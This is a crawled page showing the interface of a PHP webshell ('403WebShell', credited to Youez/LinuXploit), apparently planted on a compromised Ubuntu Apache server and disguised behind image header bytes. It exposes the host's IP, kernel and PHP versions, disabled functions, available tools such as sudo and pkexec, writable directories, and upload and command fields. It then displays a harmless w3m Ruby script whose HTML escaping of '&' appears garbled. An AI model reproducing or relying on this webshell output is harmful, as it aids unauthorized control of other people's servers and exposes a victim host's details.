????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 3.138.154.250
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/doc/w3m/examples/Bonus/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/doc/w3m/examples/Bonus/scanhist.rb
#!/usr/bin/ruby

# scan history

def usage
  STDERR.print "usage: scanhist -h HISTORY ML-archive1 ML-archive2 ...\n"
  exit 1
end

def html_quote(s)
  s.gsub!(/&/,"&")
  s.gsub!(/</,"&lt;")
  s.gsub!(/>/,"&gt;")
  s
end

if ARGV.size == 0 then
  usage
end

histfile = nil

while ARGV[0] =~ /^-/
  case ARGV.shift
  when "-h"
    histfile = ARGV.shift
  else
    usage
  end
end

if histfile.nil? then
  usage
end

patched = {}
histline = {}
f = open(histfile)
while f.gets
  if /Subject: (\[w3m-dev.*\])/ then
    patched[$1] = true
    histline[$1] = $.
  end
end
f.close

archive = {}
subject = nil
for fn in ARGV
  f = open(fn)
  while f.gets
    if /^From / then
       # beginning of a mail
       subject = nil
    elsif subject.nil? and /^Subject: / then
       $_ =~ /Subject: (\[w3m-dev.*\])/
       subject = $1
       archive[subject] = [$_.chop.sub(/^Subject:\s*/,""),false,fn+"#"+($.).to_s]
    elsif /^\+\+\+/ or /\*\*\*/ or  /filename=.*(patch|diff).*/ or /^begin \d\d\d/
       archive[subject][1] = true
    end
  end
  f.close
end

print "<html><head><title>w3m patch configuration\n</title></head><body>\n"
print "<pre>\n"
for sub in archive.keys.sort
  a = archive[sub]
  if a[1] then
    if patched[sub] then
      print "[<a href=\"#{histfile}\##{histline[sub]}\">+</a>]"
    else
      print "[-]"
    end
    print "<a href=\"#{a[2]}\">"
    print "<b>",html_quote(a[0]),"</b></a>\n"
  else
    if patched[sub] then
      print "[<a href=\"#{histfile}\##{histline[sub]}\">o</a>]"
    else
      print "   "
    end
    print "<a href=\"#{a[2]}\">"
    print "<b>",html_quote(a[0]),"</b></a>\n"
  end
end
print "</pre></body></html>\n"

Youez - 2016 - github.com/yon3zu
LinuXploit